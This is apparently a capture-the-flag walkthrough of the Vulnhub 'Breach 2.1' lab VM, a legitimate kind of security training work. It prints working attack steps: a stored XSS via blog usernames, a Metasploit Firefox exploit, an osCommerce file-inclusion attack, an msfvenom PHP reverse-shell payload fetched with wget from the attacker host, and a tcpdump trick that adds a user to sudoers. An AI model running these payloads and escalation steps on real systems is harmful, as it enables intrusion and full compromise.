Breach 2.1 Vulnhub Writeup
- Service discovery
- ssh
- Next steps
- Old blog is old
- Out foxing Firefox
- Getting shell
- Local services
- blumbergh
- The end game
- Summary
A while ago, Ben R asked me to give some feedback on his new VM, Breach: 2.1. Here are my findings.
Service discovery
As always, it starts with an nmap
scan.
root@kali:~# nmap -T4 -A -v -p0-65535 192.168.110.151
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-09-07 07:54 EDT
NSE: Loaded 138 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating ARP Ping Scan at 07:54
Scanning 192.168.110.151 [1 port]
Completed ARP Ping Scan at 07:54, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:54
Completed Parallel DNS resolution of 1 host. at 07:54, 0.05s elapsed
Initiating SYN Stealth Scan at 07:54
Scanning 192.168.110.151 [65536 ports]
Discovered open port 111/tcp on 192.168.110.151
Discovered open port 65535/tcp on 192.168.110.151
Discovered open port 55446/tcp on 192.168.110.151
Completed SYN Stealth Scan at 07:54, 3.59s elapsed (65536 total ports)
Initiating Service scan at 07:54
Scanning 3 services on 192.168.110.151
Completed Service scan at 07:54, 11.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.110.151
NSE: Script scanning 192.168.110.151.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.43s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Nmap scan report for 192.168.110.151
Host is up (0.00033s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 47979/udp status
|_ 100024 1 55446/tcp status
55446/tcp open status 1 (RPC #100024)
65535/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey:
| 1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA)
| 2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA)
|_ 256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA)
MAC Address: 08:00:27:0D:9A:2B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 0.000 days (since Wed Sep 7 07:54:13 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.33 ms 192.168.110.151
NSE: Script Post-scanning.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.68 seconds
Raw packets sent: 65559 (2.885MB) | Rcvd: 65551 (2.623MB)
So, we've got a few ports open, but really only one of any interest - 65535
which is hosting an ssh
server.
ssh
After connecting to the ssh
server, we're presented with the following banner.
root@kali:~# ssh -p65535 192.168.110.151
#############################################################################
# Welcome to Initech Cyber Consulting, LLC #
# All connections are monitored and recorded #
# Unauthorized access is encouraged #
# Peter, if that's you - the password is in the source. #
# Also, stop checking your blog all day and enjoy your vacation! #
#############################################################################
root@192.168.110.151's password:
We can safely assume there's a user named peter
on the system - but where is this source that is mentioned? We also are given the impression that peter
is checking his blog all day. This suggests we need to exploit a client at some point down the line.
While speaking with Ben R, he inadvertently dropped the bombshell about the password being inthesource
. I could pretend I was close to getting it, but I'd be lying.
root@kali:~# ssh -p65535 peter@192.168.110.151
#############################################################################
# Welcome to Initech Cyber Consulting, LLC #
# All connections are monitored and recorded #
# Unauthorized access is encouraged #
# Peter, if that's you - the password is in the source. #
# Also, stop checking your blog all day and enjoy your vacation! #
#############################################################################
peter@192.168.110.151's password:
Connection to 192.168.110.151 closed.
Wait..what? The password was accepted, but we lost our connection straight away. My guess is that the ForceCommand
setting has been set in the ssh
config. After a while of bashing my head against this, decided to go back to the beginning and run another set of nmap
scans.
Something changed.. In the new nmap
scan, we see that port 80
is open!
Discovered open port 80/tcp on 192.168.110.151
Next steps
Browsing to 192.168.110.151
, we're presented with the following page.
Looking at the source, we're also trolled a little bit.
<!--I like hints! Here at Initech we don't trust our users and either should you!-->
<!--I'm not just going to stick creds here, really, I'm not. Sorry-->
I find nothing in the image, so turn to dirsearch
.
root@kali:~/dirsearch# python3 dirsearch.py -u 192.168.110.151 -e php
_|. _ _ _ _ _ _|_ v0.3.6
(_||| _) (/_(_|| (_| )
Extensions: php | Threads: 10 | Wordlist size: 5147
Error Log: /root/dirsearch/logs/errors-16-09-07_08-34-14.log
Target: 192.168.110.151
[08:34:14] Starting:
[08:34:15] 403 - 301B - /.ht_wsr.txt
[08:34:15] 403 - 303B - /.htaccess-dev
[08:34:15] 403 - 305B - /.htaccess-marco
[08:34:15] 403 - 305B - /.htaccess-local
[08:34:15] 403 - 304B - /.htaccess.bak1
[08:34:15] 403 - 294B - /.hta
[08:34:15] 403 - 303B - /.htaccess.BAK
[08:34:15] 403 - 306B - /.htaccess.sample
[08:34:15] 403 - 303B - /.htaccess.old
[08:34:15] 403 - 303B - /.htaccess.txt
[08:34:15] 403 - 302B - /.htaccessOLD
[08:34:15] 403 - 304B - /.htaccess.save
[08:34:15] 403 - 302B - /.htaccessBAK
[08:34:15] 403 - 303B - /.htaccessOLD2
[08:34:15] 403 - 304B - /.htaccess.orig
[08:34:15] 403 - 305B - /.htaccess_extra
[08:34:15] 403 - 304B - /.htaccess_orig
[08:34:15] 403 - 302B - /.htaccess_sc
[08:34:15] 403 - 298B - /.htgroup
[08:34:15] 403 - 303B - /.htpasswd-old
[08:34:15] 403 - 300B - /.htaccess~
[08:34:15] 403 - 298B - /.htusers
[08:34:15] 403 - 300B - /.htpasswds
[08:34:15] 403 - 304B - /.htpasswd_test
[08:34:21] 301 - 317B - /blog -> http://192.168.110.151/blog/
[08:34:24] 301 - 319B - /images -> http://192.168.110.151/images/
[08:34:24] 200 - 468B - /index.html
[08:34:28] 403 - 303B - /server-status
[08:34:28] 403 - 304B - /server-status/
Great, we've got a hit for the path /blog
. After browsing to this path, we're met with an old blog system.
Old blog is old
Viewing the source of the page, we can see that this is powered by an old version of BlogPHP
Copyright ©2006 Powered by <a href='http://www.blogphp.net'>
After looking for exploits, and testing SQLi injection vulnerabilities (without success) found, I turn to a persistent XSS vulnerability. Essentially, we are able to trigger a XSS vulnerability by using the username
field when registering on the blog.
I test this by registering with the username of <img src="http://192.168.110.101">
, and then listening on port 80
on my test machine with the following command.
root@kali:~# ncat -l -k -v 80
Ncat: Version 7.25BETA1 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Now, I wait..after some time, we get the following request.
Ncat: Connection from 192.168.110.151.
Ncat: Connection from 192.168.110.151:38589.
GET / HTTP/1.1
Host: 192.168.110.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.110.151/blog/members.html
Out foxing Firefox
So, from the above request, we know that the client is using FireFox 15. I happen to know that metasploit has a module named exploit/multi/browser/firefox_proto_crmfrequest
which is applicable to version 15.
I create a new user with the username of <iframe src="http://192.168.110.101"></iframe>
, fire up msfconsole
and get to work.
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > show options
Module options (exploit/multi/browser/firefox_proto_crmfrequest):
Name Current Setting Required Description
---- --------------- -------- -----------
ADDONNAME HTML5 Rendering Enhancements yes The addon name.
AutoUninstall true yes Automatically uninstall the addon after payload execution
CONTENT no Content to display inside the HTML <body>.
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
msf exploit(firefox_proto_crmfrequest) > set URIPATH /
URIPATH => /
msf exploit(firefox_proto_crmfrequest) > set SRVPORT 80
SRVPORT => 80
msf exploit(firefox_proto_crmfrequest) > set SRVHOST 192.168.110.101
SRVHOST => 192.168.110.101
msf exploit(firefox_proto_crmfrequest) > set LHOST 192.168.110.101
LHOST => 192.168.110.101
msf exploit(firefox_proto_crmfrequest) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.110.101:4444
[*] Using URL: http://192.168.110.101:80/
[*] Server started.
After some time..
[*] Gathering target information for 192.168.110.151
[*] Sending HTML response to 192.168.110.151
[*] Gathering target information for 192.168.110.151
[*] Sending HTML response to 192.168.110.151
[*] Sending HTML
[*] Sending the malicious addon
id
[*] exec: id
uid=0(root) gid=0(root) groups=0(root)
[*] Command shell session 1 opened (192.168.110.101:4444 -> 192.168.110.151:60538) at 2016-09-07 09:12:44 -0400
msf exploit(firefox_proto_crmfrequest) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell firefox 192.168.110.101:4444 -> 192.168.110.151:60538 (192.168.110.151)
msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...
Desktop
Documents
Downloads
firefox.sh
Music
Pictures
Public
Templates
Videos
id
uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)
Getting shell
After getting a shell, my first step was to find out why we can't connect via ssh
with the user peter
. I check out the content of /etc/ssh/sshd_config
, and find the answer.
UsePAM yes
AllowUsers peter
ForceCommand /usr/bin/startme
AddressFamily inet
In order to bypass this "protection", we can simply add a call to exec sh
to the .bashrc
file of the user peter
. It's also worth noting that peter
is the only user allowed to login via ssh
.
echo "exec sh" > .bashrc
I then go back and try to login via ssh
.
root@kali:~# ssh -p65535 peter@192.168.110.151
#############################################################################
# Welcome to Initech Cyber Consulting, LLC #
# All connections are monitored and recorded #
# Unauthorized access is encouraged #
# Peter, if that's you - the password is in the source. #
# Also, stop checking your blog all day and enjoy your vacation! #
#############################################################################
peter@192.168.110.151's password:
$ id
uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)
Local services
After gaining a true shell as the user peter
, I sniff around their home directory. Finding nothing of real interest, I check out which services are running locally.
$ netstat -tln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:47567 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:2323 0.0.0.0:* LISTEN
tcp6 0 0 :::33916 :::* LISTEN
tcp6 0 0 :::111 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
Interesting - we have mysql
on port 3306
and an unknown service running on port 2323
. I check out the files in /etc
in an attempt to try and figure out which service is running on this port.
$ grep -rl 2323 /etc 2>/dev/null
/etc/xinetd.d/initech
/etc/services
$ cat /etc/xinetd.d/initech
# default: on
service initech
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
bind = 127.0.0.1
only_from = 127.0.0.1
port = 2323
banner = /etc/motd
}
bind = 127.0.0.1
only_from = 127.0.0.1
port = 2424
Great - looks like it's a telnet
server. Connecting to this server gives us an interesting banner, which appears to be a set of coordinates.
$ telnet localhost 2323
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login:
Putting these coordinates in to Google results in an exact hit on the city of Houston
.
After checking out the list of users on the system, we have two to try to login as - blumbergh
and milton
. As peter
is the only user allowed to login via ssh
, we will have to try and login via telnet
.
$ telnet localhost 2323
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login: milton
Password:
Login incorrect
breach2 login: milton
Password:
Last login: Wed Jul 20 21:04:18 EDT 2016 from localhost on pts/0
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W
3
2
1
Whose stapler is it?
Second time lucky - we get a valid login of milton
with the password of Houston
, but what the hell is this question?
After some digging, we find the source of this question.
$ grep -rl stapler / 2>/dev/null
opt/firefox/dictionaries/en-US.dic
proc/1704/task/1704/cmdline
proc/1704/cmdline
usr/share/hunspell/en_US.dic
usr/share/dict/american-english
usr/local/bin/cd.py <--- BINGO
I check out the content of this file, to see if we have the answer to the question available to us.
$ cat /usr/local/bin/cd.py
#!/usr/bin/python
import signal
import time
import os
s = signal.signal(signal.SIGINT, signal.SIG_IGN)
countdown=3
while countdown >0:
time.sleep(1)
print(countdown)
countdown -=1
if countdown <1:
question = raw_input("Whose stapler is it?")
if question == "mine":
os.system("echo 'Woot!'")
else:
os.system("kill -9 %d"%(os.getppid()))
signal.signal(signal.SIGINT, s)
Great, let's give that a go.
$ telnet localhost 2323
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login: milton
Password:
Last login: Wed Sep 7 11:00:24 EDT 2016 from localhost on pts/1
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W
3
2
1
Whose stapler is it?mine
Woot!
milton@breach2:~$ id
uid=1002(milton) gid=1002(milton) groups=1002(milton)
Great stuff, so what next?
More new services?
After slowing down a bit, and investigating the machine, I note several things.
nginx
is configured to run on port8888
nginx
is further configure to usephp5-fpm
, which runs as theblumbergh
user- the site configured on nginx hosts a copy of
oscommerce
I believe this reflects a solid possibility of a route to elevate to the blumbergh
user.
I check the open ports again - who knows, maybe nginx has been brought up as part of our progress through the system.
milton@breach2:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:47567 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:2323 0.0.0.0:* LISTEN -
tcp6 0 0 :::8888 :::* LISTEN -
tcp6 0 0 :::33916 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
udp 0 0 0.0.0.0:34430 0.0.0.0:* -
udp 0 0 0.0.0.0:39856 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:1001 0.0.0.0:* -
udp 0 0 127.0.0.1:1011 0.0.0.0:* -
udp 0 0 0.0.0.0:111 0.0.0.0:* -
udp6 0 0 :::34183 :::* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::1001 :::* -
udp6 0 0 :::32878 :::* -
udp6 0 0 :::111 :::* -
Ok, so port 8888
is infact open now.
After some digging, it appears that when we login to milton
, the .profile
will run /etc/init.d/nginx start
under sudo
, and then set an alias for sudo
, so that it appears that we don't have any sudo
permissions. Sneaky! Below is an excerpt from /home/milton/.profile
.
python /usr/local/bin/cd.py
sudo /etc/init.d/nginx start &> /dev/null
sudo() {
echo "Sorry, user milton may not run sudo on breach2."
}
readonly -f sudo
After browsing to port 8888
, we are presented with a directory listing, including a directory named oscommerce
. Browsing to this directory, we are met with a very fancy looking shop.
We very quickly see that the version is very out of date (3.0a5), and is susceptible to a local file inclusion vulnerability.
Without wasting any time, I test this supposition by placing in to a file named test.php
the content <?php phpinfo()
, and then browsing to http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/test
. I had to add a few more directory traversals due to the fact the path to the site is slightly different than in the exploit described. Visiting this URL results in the inclusion of the file /tmp/test.php
, and as such we now have the ability to execute code under the context of the user blumbergh
!
blumbergh
To get a decent shell on blumbergh
, I generate a meterpreter payload in PHP, and save it under /tmp/test
.
Firstly, I generate the payload on my kali machine, and then start a minimal web server.
root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.110.101 LPORT=4444 -f raw > shell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 26803 bytes
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Next, I use wget
to download this payload to /tmp/test.php
on the target.
milton@breach2:~$ wget http://192.168.110.101/shell.php -O /tmp/test.php
--2016-09-07 11:28:03-- http://192.168.110.101/shell.php
Connecting to 192.168.110.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26803 (26K) [application/octet-stream]
Saving to: ‘/tmp/test.php’
/tmp/test.php 100%[===========================================================================>] 26.17K --.-KB/s in 0s
2016-09-07 11:28:03 (368 MB/s) - ‘/tmp/test.php’ saved [26803/26803]
We'll need an exploit handler in msfconsole
.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter_reverse_tcp
PAYLOAD => php/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.101
LHOST => 192.168.110.101
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.110.101:4444
[*] Starting the payload handler...
Finally, let's trigger the payload by refreshing the above URL.
[*] Meterpreter session 1 opened (192.168.110.101:4444 -> 192.168.110.151:38957) at 2016-09-07 10:22:38 -0400
meterpreter > getuid
Server username: blumbergh (1001)
Boo-ya!
The end game
I get a shell as the blumbergh
user, and check for sudo
privileges.
meterpreter > shell
Process 2091 created.
Channel 0 created.
sudo -l
Matching Defaults entries for blumbergh on breach2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User blumbergh may run the following commands on breach2:
(root) NOPASSWD: /usr/sbin/tcpdump
Interesting.. we can run /usr/sbin/tcpdump
as root
without a password. After searching for vulnerabilities regarding running tcpdump
as root
, and come across this interesting post.
Essentially, we can trigger execution of our own commands from tcpdump
by specifying a custom postrotate-command
parameter. The path specified in this parameter will get executed once the maximum buffer size has been reached, when tcpdump
comes to rotate the output file and (optionally) compress the resulting rotated file with a custom command (in this case, our malicious script).
I first of all place the command to add blumbergh
as a sudoer
in the file /tmp/test2
, and then chmod
/tmp/test2
to make it executable.
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test2 && chmod +x /tmp/test2
Time to get root
.
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test2 -Z root
sudo su
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls -lah
total 60K
drwx------ 7 root root 4.0K Jul 20 21:08 .
drwxr-xr-x 22 root root 4.0K Jun 20 14:21 ..
drwx------ 2 root root 4.0K Jun 21 11:01 .aptitude
-rw------- 1 root root 49 Jul 20 21:08 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 2 root root 4.0K Jun 19 16:42 .cache
drwx------ 3 root root 4.0K Jun 19 16:42 .config
-rw-r--r-- 1 root root 5.0K Jun 22 10:46 .flag.py
drwx------ 4 root root 4.0K Jun 19 16:42 .mozilla
-rw------- 1 root root 958 Jun 21 10:50 .mysql_history
-rw------- 1 root root 44 Jul 20 20:31 .nano_history
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r--r-- 1 root root 66 Jun 16 12:59 .selected_editor
drwx------ 2 root root 4.0K Jun 19 16:42 .ssh
-rw------- 1 root root 0 Jun 18 19:20 .Xauthority
cat .flag.py
#!/usr/bin/python
import time
from time import sleep
import sys
import os
import hashlib
def delay_print (s):
for c in s:
sys.stdout.write( '%s' % c )
sys.stdout.flush()
sleep(0.10 )
print('\n')
art = "23 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 23 0d 0a 23 20 5f 5f 5f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 23 28 20 20 20 29 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 20 20 20 29 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 23 20 7c 20 7c 2e 2d 2e 20 20 20 20 5f 5f 5f 20 2e 2d 2e 20 20 20 20 20 20 2e 2d 2d 2e 20 20 20 20 20 2e 2d 2d 2d 2e 20 20 20 20 2e 2d 2d 2e 20 20 20 20 20 7c 20 7c 20 2e 2d 2e 20 20 20 20 20 20 20 2e 2d 2d 2e 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 2d 2e 20 20 20 23 0d 0a 23 20 7c 20 2f 20 20 20 5c 20 20 28 20 20 20 29 20 20 20 5c 20 20 20 20 2f 20 20 20 20 5c 20 20 20 2f 20 2e 2d 2c 20 5c 20 20 2f 20 20 20 20 5c 20 20 20 20 7c 20 7c 2f 20 20 20 5c 20 20 20 20 20 3b 20 20 5f 20 20 5c 20 20 20 20 20 20 20 20 20 2f 20 20 20 20 5c 20 20 23 0d 0a 23 20 7c 20 20 2e 2d 2e 20 7c 20 20 7c 20 27 20 2e 2d 2e 20 3b 20 20 7c 20 20 2e 2d 2e 20 3b 20 28 5f 5f 29 20 3b 20 7c 20 7c 20 20 2e 2d 2e 20 3b 20 20 20 7c 20 20 2e 2d 2e 20 2e 20 20 20 20 28 5f 5f 5f 29 60 20 7c 20 20 20 20 20 20 20 20 7c 20 20 2e 2d 2e 20 3b 20 23 0d 0a 23 20 7c 20 7c 20 20 7c 20 7c 20 20 7c 20 20 2f 20 28 5f 5f 5f 29 20 7c 20 20 7c 20 7c 20 7c 20 20 20 2e 27 60 20 20 7c 20 7c 20 20 7c 28 5f 5f 5f 29 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 27 20 27 20 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 23 0d 0a 23 20 7c 20 7c 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 7c 20 20 7c 2f 20 20 7c 20 20 2f 20 2e 27 7c 20 7c 20 7c 20 20 7c 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 23 0d 0a 23 20 7c 20 7c 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 7c 20 20 27 20 5f 2e 27 20 7c 20 2f 20 20 7c 20 7c 20 7c 20 20 7c 20 5f 5f 5f 20 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 23 0d 0a 23 20 7c 20 27 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 7c 20 20 2e 27 2e 2d 2e 20 3b 20 7c 20 20 3b 20 7c 20 7c 20 20 27 28 20 20 20 29 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 2e 2d 2e 20 20 7c 20 27 20 20 7c 20 7c 20 23 0d 0a 23 20 27 20 60 2d 27 20 3b 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 27 20 20 60 2d 27 20 2f 20 27 20 60 2d 27 20 20 7c 20 27 20 20 60 2d 27 20 7c 20 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 2f 20 27 5f 5f 5f 5f 20 20 28 20 20 20 29 20 27 20 20 60 2d 27 20 2f 20 23 0d 0a 23 20 20 60 2e 5f 5f 2e 20 20 20 28 5f 5f 5f 29 20 20 20 20 20 20 20 20 60 2e 5f 5f 2e 27 20 20 60 2e 5f 5f 2e 27 5f 2e 20 20 60 2e 5f 5f 2c 27 20 20 20 28 5f 5f 5f 29 28 5f 5f 5f 29 20 20 20 28 5f 5f 5f 5f 5f 5f 5f 29 20 20 60 2d 27 20 20 20 60 2e 5f 5f 2c 27 20 20 23 20 0d 0a 23 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 09 09 09 09 09 09 09 20 20 20 20 20 20 20 20 20 23 09 09 0d 0a 23 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 23"
print bytearray.fromhex(art).decode()
print('\n')
msg = "43 6f 6e 67 72 61 74 75 6c 61 74 69 6f 6e 73 20 6f 6e 20 72 65 61 63 68 69 6e 67 20 74 68 65 20 65 6e 64 2e 20 49 20 68 61 76 65 20 6c 65 61 72 6e 65 64 20 61 20 74 6f 6e 20 70 75 74 74 69 6e 67 20 74 6f 67 65 74 68 65 72 20 74 68 65 73 65 20 63 68 61 6c 6c 65 6e 67 65 73 20 61 6e 64 20 49 20 68 6f 70 65 20 79 6f 75 20 65 6e 6a 6f 79 65 64 20 69 74 20 61 6e 64 20 70 65 72 68 61 70 73 20 6c 65 61 72 6e 65 64 20 73 6f 6d 65 74 68 69 6e 67 20 6e 65 77 2e 20 53 74 61 79 20 74 75 6e 65 64 20 66 6f 72 20 74 68 65 20 66 69 6e 61 6c 20 69 6e 20 74 68 65 20 73 65 72 69 65 73 2c 20 42 72 65 61 63 68 20 33 2e 30"
delay_print (bytearray.fromhex(msg).decode())
print('\n')
sh0t = "53 68 6f 75 74 2d 6f 75 74 20 74 6f 20 73 69 7a 7a 6f 70 2c 20 6b 6e 69 67 68 74 6d 61 72 65 20 61 6e 64 20 72 61 73 74 61 6d 6f 75 73 65 20 66 6f 72 20 74 65 73 74 69 6e 67 20 61 6e 64 20 67 30 74 6d 69 31 6b 20 66 6f 72 20 68 6f 73 74 69 6e 67 20 61 6e 64 20 6d 61 69 6e 74 61 69 6e 69 6e 67 20 23 76 75 6c 6e 68 75 62 2e"
delay_print (bytearray.fromhex(sh0t).decode())
print('\n')
print("-mrb3n")
print('\n')
print('\n')
So, let's execute .flag.py
, and watch the fireworks!
python .flag.py
#========================================================================================#
# ___ ___ #
#( ) ( ) #
# | |.-. ___ .-. .--. .---. .--. | | .-. .--. .-. #
# | / \ ( ) \ / \ / .-, \ / \ | |/ \ ; _ \ / \ #
# | .-. | | ' .-. ; | .-. ; (__) ; | | .-. ; | .-. . (___)` | | .-. ; #
# | | | | | / (___) | | | | .'` | | |(___) | | | | ' ' | | | | #
# | | | | | | | |/ | / .'| | | | | | | | / / | | | | #
# | | | | | | | ' _.' | / | | | | ___ | | | | / / | | | | #
# | ' | | | | | .'.-. ; | ; | | '( ) | | | | / / .-. | ' | | #
# ' `-' ; | | ' `-' / ' `-' | ' `-' | | | | | / '____ ( ) ' `-' / #
# `.__. (___) `.__.' `.__.'_. `.__,' (___)(___) (_______) `-' `.__,' #
# #
#========================================================================================#
Congratulations on reaching the end. I have learned a ton putting together these challenges and I hope you enjoyed it and perhaps learned something new. Stay tuned for the final in the series, Breach 3.0
Shout-out to sizzop, knightmare and rastamouse for testing and g0tmi1k for hosting and maintaining #vulnhub.
-mrb3n
Summary
This was a really fun VM. Lots of hoops to jump through, and a good few tricks to learn. Thanks Ben R for the challenge, and of course thanks to VulnHub for hosting it.